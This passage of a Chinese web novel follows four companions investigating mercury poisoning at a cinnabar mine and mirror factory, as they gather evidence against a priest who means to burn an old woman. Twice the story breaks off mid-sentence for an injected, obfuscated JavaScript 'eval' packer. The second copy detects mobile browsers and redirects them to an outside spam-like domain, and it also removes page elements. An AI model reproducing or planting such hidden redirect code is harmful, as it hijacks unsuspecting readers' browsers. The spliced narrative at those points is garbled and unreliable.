少年感到一阵晕眩,一如他不理解帝国复杂而血腥的阶级关系,又躺了回去。 前一天晚上,皮埃尔管家最后在门边说出的话让伊琳娜辗转反侧,她一早就从床上起身,在房间里来回踱步。 她站在窗前,从山下的小镇到远处群山中的矿场都已经冒起了炊烟,那些艰难从土中刨食的人们已经开始他们忙碌的一天。低头望去,庄园中精心打理的花圃正准备在暖阳中绽放,白桦林茂密的枝桠划破了清晨灰白色的天空,一条砾石小路蜿蜒其间,通向华丽的喷泉池。公司豢养的私兵正背着枪,在大门处站岗,门前还立着用铁丝网包围着的铁制拒马。 清晨的阳光不足以驱散远东的寒意,光线透过厚重的玻璃窗,在豪华却冰冷的走廊里切出明暗交错的斜线。伊琳娜几乎一夜未眠,眼底带着淡淡的青黑,但她目光灼灼,没有任何犹豫地敲响了里奥尼德的房门。 “嗯......怎么了?” 门几乎立刻被打开了,里奥尼德站在门口,显然同样彻夜难眠。他的头发有些凌乱,那双时常带着宽容笑意的灰蓝眼睛里布满了血丝,在那深处翻滚着一种压抑已久的、近乎偏执的暗流。 “里奥,”伊琳娜省去了一切寒暄,声音略显沙哑,里奥递给她一杯蜂蜜水,她看起来异常坚决,“皮埃尔昨晚告诉我,皇帝下个月将亲临远东,出席远东铁路全线贯通的典礼。前往新大陆的计划必须提上日程了,皮埃尔不能将这个消息报告给父亲,我需要你和我一起向他施压。” 因为睡眠不足而兴奋的神经让她语速极快,仿佛筹划了一夜。 里奥尼德没有立刻回答,而是侧身让她进屋。他的书桌上散乱地放着一些纸张和一支钢笔。 “新大陆......这几乎是逼迫皮埃尔背叛你父亲了,监视你也是他的职责。”里奥思索着伊琳娜此行会对留在帝国的人们造成什么影响。 伊琳娜面无表情,她很清楚代价是什么:“狗屁职责,所以说需要你帮我。” 尽管里奥尼德知道伊琳娜走后,一切都会和过去不同。但他也知道,留在帝国的伊琳娜不会有她想要的未来,他也不想再看见照片上的伊琳娜露出言不由衷的笑容。 “那你的小说大纲怎么办?不是要带着大纲去见出版社编辑吗?”里奥想起伊琳娜未完成的小说。 伊琳娜想了一会,说:“等我们走到海滨城差不多也到时间了,夏季将近,气候稳定些。到新大陆大约要一个月时间,到时候在路上完成就可以了。” 里奥担心伊琳娜到了新大陆之后举步维艰,他主动提出:“到下一个城市时,去银行把我的存款取出来吧,或者我们再返回黑水城,到庄园拿上你的收藏和衣物。” 她明白里奥尼德的心情,但她不眷恋那些身外的物事:“没事的,里奥,我有那张合影就足够了,那些快乐的时光能让我铭记许久。” 里奥尼德不知道此时应该说什么,从小到大一同度过的时光让他已经习惯了和伊琳娜呆在一起。也许他想挽留,也许他想祝伊琳开始新的生活,但此时他只是静静地看着伊琳娜,又理了理头上乱糟糟的头发,想说的话总归是没说出口。 这时候,房门被敲响了。 “大小姐,少爷,早餐准备好了。” 皮埃尔管家依旧像往日一样,优雅而谦逊的站在门旁,只是他眼睛中的血丝和青紫的脸色,似乎说明昨晚他也没睡好觉。 伊琳娜敏锐的捕捉到了管家眼神中些许的游离与犹豫,她决定主动询问:“皮埃尔,你是不是有话想和我们讲?” “啊......这......”经过一夜的内心焦灼,皮埃尔此时仍然是有口难言。 他们知道皮埃尔一定是有话想说,于是里奥尼德走上前去,小声说着:“伊琳刚刚都和我说了,你昨天晚上告诉她下个月皇帝陛下将亲临远东的消息,是不是知道她的计划?” 皮埃尔摇摇头,他看了眼伊琳娜,接着说道:“不......少爷,我不知道大小姐的计划,我只是了解她。” 伊琳娜开门见山,直接对管家说:“皮埃尔,下个月我要去新大陆了。” 管家显得有些慌乱,他急忙对伊琳娜说道:“大小姐!您一旦走了,就再也不是家族的大小姐了......您会失去一切保护、头衔和财富!您会……” 皮埃尔管家像是突然听见子女做出什么惊人决定的慈父,但他又不知道该如何劝阻她。他不理解家族锦衣玉食的生活为什么不能留住她,但他又理解,成为笼子里的金丝雀不该是伊琳娜的归宿。 伊琳娜摇摇头,她感到有些疲惫,坐在了椅子上:“我不想留在原地,继续粉刷这面满是裂痕的墙。” “大小姐,我知道您埋怨老爷,可他也是......” 一提起父亲,伊琳娜就气不打一处来,她又想起昨天皮埃尔管家未曾回答的问题,开口打断了他的话:“我不想听这个,我只想听听为什么我被排除在公司事务之外。” 伊琳娜以命令式的口气对管家说道:“皮埃尔,跟我说说公司在小镇都在干些什么,这是命令。” 皮埃尔管家叹了口气,他经历一夜的左右为难,知道大小姐迟早要问这个问题。 “要不还是先吃早饭吧......”管家想最后再挣扎一次。 “宵禁到底在禁什么?公司的业务是什么?他们要对老妇人做什么?” 伊琳娜不给他这个机会,他们没时间浪费在小镇了。 “这......”皮埃尔管家关上房门,他的语气讳莫如深,“您知道远东的反抗势力吗?” “知道,我们已经遭遇过了,来的时候火车遇袭。”里奥尼德指着窗外,继续说道:“到现在还没通车吗?也许明后天消息就要到了,而且你们的电报呢?” “电报线已经被剪断许多处了,还是在抢修。”皮埃尔无奈的摊开手,和里奥说:“但我知道你们遇袭的事情,传信兵当日就把消息带到了。” 里奥尼德心里有些不快,原来他们的行动一直都在被人监视着,就连在荒野之中感官极度敏锐的萨哈良都未曾察觉。 皮埃尔深吸一口气,继续说道:“他们不希望在皇帝到来前再出幺蛾子,所以才借由教会的力量,渲染恐怖气氛,目的是不想让民众与反抗势力产生联系。我也知道少爷您击杀了他们领袖的事,做得好。” “那这跟公司的业务有什么关系?”伊琳娜反问道,这些宏大的事情一向是帝国的办事风格,没什么好特别注意的。 “这个小镇以制造镜子闻名,帝国都城中达官贵人家可能也有来自这里的镜胚,所以它名为镜镇。”管家说完停顿了一会,像是沉思着该如何遣词造句,“大小姐您喜欢化学,一定知道制镜需要使用水银,所以发掘朱砂矿也是业务之一。但其实这里原本效益最高的是煤矿,只是矿脉枯竭了。” 伊琳娜理解他的意思,矿工们积极劳作,情绪稳定,不被反抗军影响才能给公司制造财富。 “等等,矿脉?你知道白鹿镇吗?”里奥尼德想起萨哈良提到的,狗獾部族营地被摧毁时的场景。 皮埃尔管家没听懂他的话:“白鹿镇?” 但伊琳娜知道他在说什么,所以她提出要求:“我要看公司的账目。” “这......没有老爷的命令......”尽管皮埃尔愿意配合他们,可要查看账目还是触及老爷提到的禁区——也就是不希望伊琳娜卷入家族事务中。 “你会害怕一个即将去新大陆的人做出些什么吗?”伊琳娜冷笑了一声,这冷笑是向皮埃尔管家身后的父亲。 皮埃尔摇摇头,他转身离去。 但没过一会,他捧着一本厚实且装订紧实的账本走来。 伊琳娜没有兴趣去查看那些生产运营、往来,人力和物流运输成本,账本上类目繁杂,但好在是以远东各地区名称进行分类的,由此也能看出皮埃尔工作的认真细致。 “皮埃尔,伊琳她父亲为什么想到让你管理远东的生意?”里奥尼德看了会账本上描摹着的各地区地图,抬头问管家。 “老爷他即将出任财政部长了,所以不太好亲自经营远东的矿区。”提起这些时,皮埃尔的眼神要亮了不少。 但伊琳娜立刻揶揄道:“行啊,老爷子即将从贵族升到世袭贵族了,也算是有爵位了。” 里奥尼德也不知道该不该祝贺,他抬头望了望伊琳娜,还是继续看账本。 “等等,就是这个。” 先前在火车上时,里奥已经看过萨哈良在地图上标记出的位置,所以他很快就找到了狗獾部族的位置。 上面只是提及了白鹿镇东边山区新探查煤矿储量,林区树木总量,以及在萨哈良前往黑水城那天,被运出的原木数量,以及通过水路和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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大小姐沉稳的对他说道:“皮埃尔,你会把我去新大陆的消息也上报给父亲吗?” 管家斩钉截铁的说:“我不会,我没有上报过您最近的行程,只是负责保护您。” “那好,之后再说这个事情,现在还有别的事。帮我们备好马车,我们要出去一趟。”伊琳娜看了看窗外的远山,对管家说道。 皮埃尔很乐意帮助大小姐,但还是犹豫着说:“您不吃早餐了吗?” “帮我装上吧,估计我们的朋友也没吃。” 周一的街上早已蠕动着许多神情茫然的矿工,像是还没从周末的宿醉中缓过来。他们从低矮的木屋里钻出来,汇入街道。那些厚重的靴子踩在泥泞的路面上,发出一种黏腻又粗粝的声响。偶尔传来一两声咳嗽,那是北方寒带工业城镇的特产,寒风夹杂着煤灰摧毁了每个人的气管。 他们乘着公司的豪华马车,伴随着身后不断响起的教堂钟声,前往叶甫根尼的小诊所。 “你们这是怎么了?” 伊琳娜敲了几下后,萨哈良走来打开了房门。 此时医生正在房间里来回踱步,那张奢华的床摆放在诊室中央显得屋里更是狭窄,让医生当下的心情看起来非常烦躁。 “那名卖蜂蜜水的老妇人要被处死了。” 医生的话言简意赅,他没有解释这则信息是早上出诊看病时,从镇子里的民兵口中听到的。 里奥尼德仔细向叶甫根尼说明神父意图处死老妇人的原因,包括宵禁与鹿角妖传说的关系,和皇帝即将亲临远东参加典礼的消息。 “我不知道我的意见是不是有些冒昧了,但我想......我想救她。”叶甫根尼知道自己不应该麻烦这些新认识的朋友,他眼神躲闪,但还是说出了口。 伊琳娜看着他的反应,严肃的说道:“我们难道不就是为了这个来的吗?” 叶甫根尼如释重负,看向伊琳娜的眼神带着些歉意,他还不了解他们的脾气。 “那,那我们该怎么救他?”萨哈良见识过罗刹人的本事,他们为了清除异端不择手段。 里奥尼德想了想,说:“我们有什么可以指证神父欺瞒民众的证据吗?” “有,有的。”叶甫根尼翻了翻衣兜,昨天从病患家离开后,因为担心他们继续使用朱砂,就将碗底剩下的那些带了回来,“我和萨哈良一起去急诊的时候,看见当地人因为害怕小孩哭泣招来鹿角妖,会给他们喝朱砂水。” 但叶甫根尼又摇了摇头,他不确定这是否能驳斥神父的话:“可我不知道那名老妇人是不是也是因为朱砂水......虽然她也有汞中毒的痕迹,可她的病情,那毕竟是不知道几十年前的事情了。” 伊琳娜给了他肯定的回答:“这里是镜镇,制造镜子需要水银,汞中毒肯定是普遍的,我们已经了解到小镇里的情况了。” 就在他们相互交换信息时,萨哈良说话了。 “可我觉得......这些证据都不能真的让神父认错,”萨哈良盯着叶甫根尼手中的朱砂,和他们说起刚下山时的经历,“我已经和神父对峙过两次了,第一次根本没给我说话的机会,那些人在台下被他煽动,甚至想把我吊死。” 萨哈良又看向里奥尼德:“第二次是里奥拿出了能让他们忌惮的书信,才迫使神父退兵的,不然他们又想把我打死。” 叶甫根尼点点头,虽然他不知道萨哈良经历的细节,但少年说的话有道理。镜镇是一片法外之地,神父此时就是小镇中真正的统治者,这些证据是远远不够的。 医生突然想起了病患家在山脚下的聚落,说道:“我们要出去一趟,去趟矿山。” 41.流行病学调查 在灰蒙蒙的天空下,镜镇正匍匐在蜿蜒的山谷里,像是被世界遗忘的一块化外之地,只有从小镇正中穿过的铁路证明着与文明的连结。镇子旁矗立着的,便是那座遮盖阳光的矿山。在它的附近,还能看到废弃煤矿矿洞的遗迹。 山上的路并不好走,萨哈良一行人从马车下来,准备步行进入矿区。 尽管他们已经刻意穿着朴素,但相较于道路两旁的矿工,还是显得格格不入。矿工们的年纪有老有少,他们拖着沉重的脚步,神情木讷的看着这些不速之客。叶甫根尼的衣服也同样显旧,磨损的地方多半在袖脚和领口。但矿工身上的补丁遍布全身,尤其集中在肘部和膝盖,像极了皇室收藏里那些上了发条就能活动的小人。 当经过矿区前的村落时,叶甫根尼停了下来。 “这里就是我和萨哈良出诊的那个村子。”他一边说,一边指向旁边那座歪斜的屋子。 窗户下面摆列着脏兮兮的玻璃罐和陶罐,透过浑浊的盐水也能看出来里面是过冬前准备的腌黄瓜、腌蘑菇,还有为家里那名醉汉男主人准备的腌渍肥膘。前日那名年轻母亲正在屋前费力的劈木柴,她高高挥起斧子,但由于力量不够,潮湿的木头没有被一下劈开,只能再补一次。没过多久,她就气喘吁吁,汗水滴落到了地上。 看到医生来了,她高兴的举起手打招呼。 “医生!太感谢您了,昨天听了您的话,孩子好多了!”母亲说着,那名小女孩羞涩的躲在她身后,好奇的打量着他们。 叶甫根尼走上前去,和母亲说:“没什么,我也做不到什么,只是告诉你正确的处理办法。” 他蹲下去,轻轻用手摸了摸女孩的额头,体温已经正常了。 “可以让我的朋友们看看您女儿的牙齿吗?” 母亲不理解医生奇怪的请求,但还是拍了拍女儿的背,让医生检查。 “来,轻轻张开嘴,啊——”他温和的语气让小女孩不那么怕生了,她笨拙的张开嘴,医生小心翼翼帮她掀开嘴唇,露出牙龈。 里奥尼德与伊琳娜向母亲点头示意,向前走了一步,仔细观察女孩的牙齿。 “看到了吗?”叶甫根尼指着牙根处,那里沉积着深色的暗线,像是溪水中沉淀在乱石上的沙土,无论如何都不是正常生物身上该有的现象。 告别母亲之后,他们继续往村落内部走的时候,叶甫根尼给他们解释这种病状发生的原因。 “那就是大人的罪恶留在小孩身上的痕迹,经年累月汞中毒造成的影响。”这两天的事情接连不断,叶甫根尼早上还没得及洗漱。他只好随便理了理杂乱的中分碎发,又摸着下巴上的胡茬。 伊琳娜明白医生的用意,但这些证据远远不够:“但......我们无法拥有人证,他们不会去冒险忤逆神父的威严。” 就在他们思考着该收集什么证据驳斥神父时,萨哈良隐约闻见空气中传来腐败的酸臭和甜腻的金属腥气,他快步走上前去,想找到气味的源头。 行至村落深处,一片歪斜的木屋匍匐在山脚阴影下,这便是那个因朱砂矿而生的村落。没有篱笆,没有炊烟,甚至看不到一丝生气。许多房屋的窗户黑洞洞的,隐约有苍白的脸一闪而过,速度快的几乎让人以为是错觉。 越往村中走,那股甜腻金属味愈发浓重。溪流穿过村落,水声潺潺,却泛着一种诡异的、油彩般的银亮光泽,水边的石头覆盖着一层暗淡的红色薄膜,河岸旁寸草不生。 “我有一个大胆的猜测。”里奥尼德望着时不时探头出来看他们的住民,低声说道。 叶甫根尼俯下身查看着这条臭水沟:“什么猜测?” “这里看起来像是专门安置因为各种原因被矿区淘汰的矿工家庭。”里奥向大家提出了他的假设。 萨哈良想起三十年前席卷远东的那场瘟疫,说道:“一般不应该是因为疫病才专门隔离出去的吗?部族也会这么做,把病人搬到营地外的屋子里,再用烟熏祛毒。” 鹿神也记得当时的景象,可以说是人间地狱了。 听到少年这么说,里奥尼德惊讶地看着他。显然部族的文明程度比他想的要高得多,毕竟西方也是在黑死病肆虐之后才诞生这种意识。 “你们在这待着别动,等会我,千万别跟过来。” 叶甫根尼医生像是想到了什么,他挨家挨户敲响了房门,看似是和住户们寒暄,实际上是在认真观察他们的状况,尤其是中毒的痕迹。 医生发现,村落里的情况要比他想象的复杂得多。屋里有人的大部分都是家徒四壁,有的比先前那个年轻母亲家还要贫困。墙壁和窗子四处漏风,病重的老人蜷缩在脏污的被褥中,好的用破布的被罩,差一些的甚至是麻袋,上面的破洞露出杂草和少量棉花混合的填充物,偶尔还有鸡毛鸭毛。 被叶甫根尼判定与汞中毒有关的病患也同样的牙齿上沉积暗线,甚至手脚震颤,难以打开房门,哆哆嗦嗦像是八音盒上的舞者。除了这些人,还有更严重的,已经出现精神失常到谵妄症的情况,他们以为医生是恶魔,拿着扫把将他赶了出来,嘴里还念念有词着“鹿角妖”。 大致调查完毕后,医生走了回来。 “不让你们去是因为担心你们不了解疾病,做不好避免传染的措施,”叶甫根尼惊魂未定,拍着身上的尘土,“我看大概八成都是长期中毒,也有别的原因,比如杨梅疮和麻风,还好没有天花,否则就麻烦了。” 为了救下老妇人,医生已经豁出去性命了。 叶甫根尼想起刚才那个梅毒患者,身上遍布桃红色的疹子,鼻子也因为病毒侵蚀烂掉了,甚至能看见脸上的那两个空洞,伴随着呼吸向外渗出着脓液。麻风病人就更别说了,身上所有的毛发都掉落了,整个人看起来像是热水浇在了冰雕上。 在首都的时候他只在书本中见过,实在骇人,所以他也没有和大家描述这种病象。 里奥尼德向医生点点头,他说:“这个村落看起来活像是几十年前,农奴改革还没开始的时候。” 叶甫根尼叹了口气:“你说得对,以我们的年纪应该都没见过。我家乡挨着大海,比起这里要富裕多了。” 说完,他们穿过村中的小路,继续向山上走,才看见矿区的入口。 透过矿场的大门,能看见矿工不止是自由的镇民,也有脚上带着镣铐的犯人,他们无疑是犯下重罪才被流放至远东的。那些朱砂矿的粉末,染红了矿工的破烂衣衫,更悄无声息地侵入他们的肺腑,时不时传来沉重的咳嗽声。 门前的公司守卫没有盘问他们,像是早就接到命令,毫不怀疑的就放他们走了进去。 医生戴上他那枚单片眼镜,镜片的边缘裂纹更严重了。他边走边在本子上记录刚才观察村落病人的结果,并绘制一张简单的图表,记录下当地汞中毒的典型症状,例如牙龈汞线、四肢震颤、精神错乱等症状在人群中的出现频率。 伊琳娜看着他在笔记上记录的病状,想到了办法:“如果,在裁判现场我们当场拿调查的结果,与老妇人的症状做比对,也许会有效果。” 叶甫根尼仔细回忆着老妇人的病状,大体与调查的结果一致,但如果出现不相同的部分,就有可能会被神父作为反击的漏洞。 “为什么这里的金属器物都有明显的腐蚀痕迹,像是锈了很久一样。”萨哈良四下打量着矿场里的那些金属装饰或是机器,锈蚀已经穿过油漆,如同墙皮剥落。 “我想想......应该怎么跟你解释......”伊琳娜低下头,思考了一会,她很快想出了能被部族少年听懂的答案,“你可以理解成,那个朱砂加热后可以提炼出水银,但蒸汽里有酸性的东西,它会腐蚀金属。” 萨哈良似懂非懂的点点头。 “砰!” 就在他们继续前进的时候,矿山深处传来了巨大的爆炸声,那响声地动山摇,让山顶的石头都顺着山坡滚落下来。伊琳娜扶住了自己的软沿帽,这个声音对她来说再熟悉不过了。 “什么声音?”但萨哈良没听过,他吓得立刻转头寻找着声音的方向。 “没事的,山里在炸矿,这样挖掘效率高。”里奥尼德拍了拍萨哈良的后背,帮他安抚情绪。 自从深入小镇之后,鹿神都很少说话。他只是盯着那些枯萎的植被,沉默不语,像是思考着什么。 提炼水银的工厂位于半山腰的一条溪流旁,那是一座低矮的砖石建筑,几根烟囱终日吐着灰黄色的毒烟,空气中弥漫着浓重的金属腥气。 此处的温度比外面热不少,巨大的坩埚正在炉火中灼烧。工人们在口鼻围上简易的麻布口罩,时不时往上沾水。他们面色蜡黄,手指颤抖的举取铁锹,将碾碎的朱砂矿石投入其中。高温下,银白色的水银被提炼出来,顺着水槽流入陶罐里。那种液体发出金属的光芒,美丽而致命。 汞蒸气无孔不入,在这里劳作的人,不久后便会开始手指震颤,牙齿松动,最终在神经错乱的谵妄中痛苦地死去。 “我们别进去了,太危险了。”只是在门口站了一会,伊琳娜就感到晕眩,她警告大家不要再往里去。 那股奇怪的气味让人不适,大家只好都听从她的建议,没继续往前走。 “这里比我想象的要恐怖多了。”里奥尼德捂住口鼻,小声说着。 叶甫根尼还在笔记本记录着见闻,他头也没抬的说道:“是的,事实上我从来没有来过矿场,包括那些病例我也是第一次在书本以外的地方见到。首都的高级医院只有贵族和富人才会去,治有钱人得的疾病反而要简单多了。” 伊琳娜对这种场景再熟悉不过了,但不想提起往事。他们站在矿场的空地上,试图跟着风向寻找上风处,躲避剧毒的气味。 很快,他们就注意到矿区管理人员的居住区与普通矿工和山下的村落截然不同。那边空气要洁净许多,他们正从运水的马车上取水,在一旁玩耍的孩子也是健康活泼。 这时候,一个穿着整洁公司制服的人跑了过来。 “我是这儿的工长,你们有什么事吗?”工长不知道他们是干什么的,但既然能被卫兵放进矿区,想必也是有来头,所以他的声音毕恭毕敬。 他们四个人对视着,在思考应该问什么问题。 “我想问问你,矿区工人的受污染情况。”里奥尼德开门见山,打算直接询问出结果。 工长一听这话,立刻警觉了起来:“这个......您自己去制镜厂看吧。” 说完,他就小跑着回到马车旁,和车上的人交头接耳。 “没事,”伊琳娜看着远去的工长,他没有再往这边瞥一眼,“就算跟他兜圈子也问不出来什么,他们可能根本没有这方面的认识。” “是的,这个我深有体会。”叶甫根尼回想着那些病人,他们对吃进嘴里东西的危险性缺乏认知,“更何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298057|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况在矿场劳作也是一份稳定的收入,指望他们出卖矿区指证神父恐怕是不可能的。” 离制取水银的工厂不远,另一座稍显洁净,宽敞许多的工棚,则是制造镜子的工厂。工人们,大多是些面容憔悴的女工和少年,将闪亮的锡箔小心翼翼地贴在平整的玻璃上,然后将那些水银缓缓倾倒在上面。 这个步骤比起制取工艺更是危险,要直接面对缓慢蒸发的水银。但车间里的人们没有意识到一点,仍然在工作的间歇中聊着家长里短。 他们用软布轻轻碾压,看着水银神奇地覆盖表面,留下一个光亮可鉴,能够映照真实的镜子。新制成的镜子被一块块装箱,即将通过漫长的远东铁路或海路运往各地,照见那里的奢华与虚荣。而在这里,它们只映照出工棚的破败,日益枯槁的面容,以及自己身上过早到来的死亡阴影。 “萨哈良,还记得我和你说的,帝国底层民众的平均寿命有五十年吗?”里奥尼德扭头看向萨哈良,少年正盯着那些比溪水还透亮的镜子。 “我记得,那是伊琳娜姐姐说起动物标本时的——” 伊琳娜突然打断了萨哈良,她好像想到了什么:“不好意思,萨哈良,我要打断你一会。”她说着看向叶甫根尼,对他说道:“医生,你有没有想过在对峙时准备一只老鼠?” 叶甫根尼立刻就明白了她的意思,他把手放到额头上说:“对啊!我们可以喂给老鼠朱砂水,这样就能立刻向人们展现毒性了!” “谢谢你,萨哈良,不然我都忘记这事了。”伊琳娜笑着拍了拍萨哈良的肩膀,少年也点了点头,然后她接着说道:“你们刚才想说什么来着?” 里奥尼德回忆起街上的人们和拳场里的工人,说:“啊,我刚才说五十年。我是想说,搞不好他们对这种生活还挺满意的。” 说着,里奥就走上前去喊住了一位正低头干活的少年:“小伙子,你们一个月工资有多少枚银币?” 那名少年像是反应迟缓,他过了好一会抬起头,看见里奥尼德喊他,又低头接着干活了。 “贵族老爷,我们是计件的,干得多一个月能有十五枚,但是不干就没有了。”旁边一位胖胖的大妈替那少年回话了。 里奥尼德只知道那大概是列车长工资的七分之一,但他是有军衔的。伊琳娜也不清楚这些银币有多少,她只知道在拳场的年轻人一晚上赌完了自己的月薪。 不过,叶甫根尼就很清楚了:“可以说很多了,首都的底层工人都未必能有这么多,但是......他们这是以健康做交换......” 可他又想到在他来到小镇之前的医疗状况,接着说道:“但这边缺乏药品,先前又没有靠谱的医生,生病倒是也不用治了......” 伊琳娜叹了口气,她也清楚,的确如里奥尼德和医生所说,这些银币对于他们来说已经是对生活的最大麻痹了。 萨哈良悄悄在脑子里算着数,以目前为止的信息,他已经能慢慢的建立起对金钱的概念了。很明显就像先前小镇的老板娘所说,他卖那些银器的确是被骗了。 他们说完就准备走出制镜工厂,打算下山找几只老鼠。 但刚转身想走出厂房,里奥尼德发现了异样。 “等等,你们看墙上的白漆下面,”里奥尼德走到墙边,仔细打量着墙漆下面若隐若现的字迹,“这上面写的什么?” 萨哈良看见墙角的扫把,他拿起来踮起脚尖,想扫掉墙面上浮着的石灰,试试这样能不能让字迹显现出来,但始终够不到。 里奥尼德走上前去,从萨哈良手里拿过扫把。他个子高,没一会白漆下面的字就隐隐露出来了。 “停止毒害。” 那是用红色颜料写出来的字,还能看见没干的颜料向下流淌,如同血液一般。四个人面面相觑,他们不理解为什么刷这四个字。 但里奥尼德立刻反应过来,他说:“这里反抗军来过了,我猜这些标语是他们留下的。” 说着,他跑出厂房,指着外面的墙壁,上面到处是被白漆涂抹的痕迹。 叶甫根尼身为医生,最理解字迹的意义,毕竟他们的处方写得如同天书一般。他打量着那些墙上涂抹的痕迹,看着里奥尼德说:“这字不像是帝国人写的,倒像是原住民的,”他把纸和笔递给萨哈良,让他试着写下‘停止毒害’四个字,“你看萨哈良的字,虽然也是印刷体,但是有着同样的稚嫩。” 他们都围上来,看本子上的字。 “南方帝国的遗民比我们更了解朱砂的优缺点,这是我从他们的古籍中看到的。”叶甫根尼又接着说:“不过这个不重要,我只是突然想起来了。” 一直沉默的鹿神这时候对萨哈良说:“所以如我所说,这是他们的学识化作的诅咒。” 离开矿区的时候已经是傍晚了,他们的马车经过广场时,正好碰到了第一晚巡逻的民兵。那些民兵正在清场,驱赶着还没收摊的小贩。叶甫根尼医生让他们帮忙抓几只老鼠,而且一定要快,那些人很爽快的就答应了,还不忘提醒医生,今晚宵禁,好好在家中休息。 看着医生向马车走来,伊琳娜对里奥尼德说道: “里奥,今晚不回庄园了,我们晚上聚在一块整理证据,思考如何对付神父。” 里奥尼德也是这么想的,他看着萨哈良说:“我觉得,我们明天应该再去趟教堂,至少看看我们的对手是个什么样的人。” 42.宗教裁判庭(一) “咚!咚!” “医生!医生快开门!” 一大清早,叶甫根尼医生的诊所房门都快要被敲倒了。 前天晚上,他们从矿区归来,认真的整理着手头所有可以充当证据的材料。尽管向神父发起全力一击的弹药都已经装填完毕,从医生的流行病学调查,到环境事实,再到反抗军标语,甚至还有当场使用老鼠进行活体实验,但伊琳娜始终提不起信心。 毕竟,先前她操纵赔率的计划何其精妙,最终却依旧败在赌场老板蛮不讲理的指控。 远东,有它自己的运行规则。 叶甫根尼听见喊声,立刻就跳了起来跑去开门,这么早就有病人上门肯定没好事。 躺在豪华床上的伊琳娜也醒了。在里屋,挤在一张床上的里奥尼德和萨哈良也艰难爬了起来。 “医生!医生!神父已经带人把玛利亚捆到教堂了!”门外是先前的高个子民兵,因为跑得太急,他额头上已经有汗水流了下来,焦急地和医生汇报情况。 叶甫根尼医生叹了口气,他揉了揉眉头说:“怎么这么快就审判了?” “不是审判!是处刑!她被绑在火刑柱上了!神父说她要被烧死!”民兵惊恐的和医生说着,他嘴里念念有词,“不就是鹿角妖传说吗?怎么真的会死人......” 听见他的话,萨哈良和里奥尼德一下从床上跳了起来,也跑到门前。 “萨哈良,你注意到他的话了吗?和你被审判时不同,这些罗刹鬼好像不是很想烧死老妇人。”鹿神敏锐的察觉到民兵情绪的异样。 萨哈良点点头,他想,也许这样就不会出现先前那样狂热的场景,或许能从中找到办法。 民兵看见眼前突然出现两个陌生人,吓了一跳,里奥尼德抢在前面,问他:“到底怎么回事?那个老妇人在哪儿?” “就在教堂广场!神父要求今天休假,居民全部都要前往广场。不说了,我还得挨家挨户敲门通知,估计一会教堂就该敲钟了。”他说着转身就要跑,突然想起手里还有东西没交给医生:“医生,这是你要的老鼠,谷仓里太多了,我专门挑了几只又肥又大的。” 说完,他就去敲下一家房门了。 “这怎么办?这么大的老鼠,喂朱砂水药效起作用要多久啊。”叶甫根尼看着笼子里硕大的老鼠,想不出什么好办法。它们偷吃谷仓里过冬的粮食,吃得脑满肠肥,臃肿的身体几乎要把笼子占满了。 伊琳娜赶紧起来披上衣服,她对医生说:“调查、事实、实验,有这三点足够了,其他的随机应变。” 正当萨哈良披上外衣,准备走出门的时候,里奥尼德突然说话了。 “不行,萨哈良不能去对峙。”里奥尼德穿上军服,他把肩章装了回去,甚至挂上了军刀,又低头检查着佩枪里的子弹。这身贵族身份的象征或许能在神父面前起作用,至少比白丁说话有用多了。 叶甫根尼诧异的回过头:“为什么?少年时常有些奇思妙想,他说不定能破局。” 萨哈良本来还在摩挲着腰间的匕首,听见里奥这么说,他茫然无助地看了过去。 “你不明白,教会如果看出他是部族民,会把他定为异端。”里奥尼德走过来,帮萨哈良整理袖口和领结,又理顺他的头发,接着说道:“这样的事我们先前已经经历过了,我还为了萨哈良枪毙了一个奸细管家,不能接受再出差错了,让他在下面看热闹就行。” 因为担心少年感觉自己被事态排除在外,里奥尼德又看着他说:“等情况不对,你就上来救我们。” 叶甫根尼投来了一个意味深长的眼神,他没想到这三个人已经经历了这么多事情。 他们快速准备好,跑到屋后牵出了马。由于昨天没回庄园,伊琳娜让马夫赶着马车先回去了,所以前往广场只能骑马,而且对于小镇拥挤的街道,这样也更快。 “只有三匹马,怎么分?”伊琳娜看着他们牵出马,对里奥尼德问道。 里奥没有犹豫,他让萨哈良先跳上马,然后他也跳了上去。里奥尼德手握缰绳,胳膊环绕着萨哈良,将少年抱在身前,看着伊琳娜说:“萨哈良轻,我和他骑一匹就行了。” 军旅训练的经验让他反应迅速,萨哈良的那匹骏马已经多日没有疾驰了,此刻正跃跃欲试,等待他们拉动缰绳。 “那就不废话了,争分夺秒!”伊琳娜和叶甫根尼也相继跨上马。 由于叶甫根尼出身平民,他操控不好战马,马匹时常朝向相反的方向。但他已经下定决心,即便是在马鞍上坐不住,也跟随着伊琳娜的指引硬着头皮前进。 民兵们手握武器,正分散在街道各处,逐户敲门通知居民立刻前往教堂广场。 一时间,街道中充斥着敲门声、喊叫声和小声的埋怨。人们睡眼惺忪,身上的衣服也散乱着。他们还没从前一日的劳累中苏醒,只是听民兵说广场集合,却不知道为什么。 没过一会,街道上人头攒动,黑压压的人流如同洪水一般,他们身上破旧的衣物像是急流中的枯枝烂叶,一同裹挟着向教堂广场缓慢移动。 “停!停!” 在经过街道的拐角时,跑在最前面的里奥尼德突然向身后的伊琳娜大喊,示意他们赶快停下。 与此同时,一阵嘈杂的响声从小巷深处传来,紧接着,路边摆放的木箱和摊贩留下的杂物都被撞飞了,就像爆炸一般。在扬起的灰尘之后,一辆由四匹皮毛黑亮的骏马牵引的漆黑马车横在他们面前,将本就狭窄的街道堵得死死的。 这时候,车门被打开了。 “大小姐,少爷,止步吧,你们不能再往前去了。” 皮埃尔管家从车上下来,他恭敬的将左手放在胸前,低头向他们行礼。 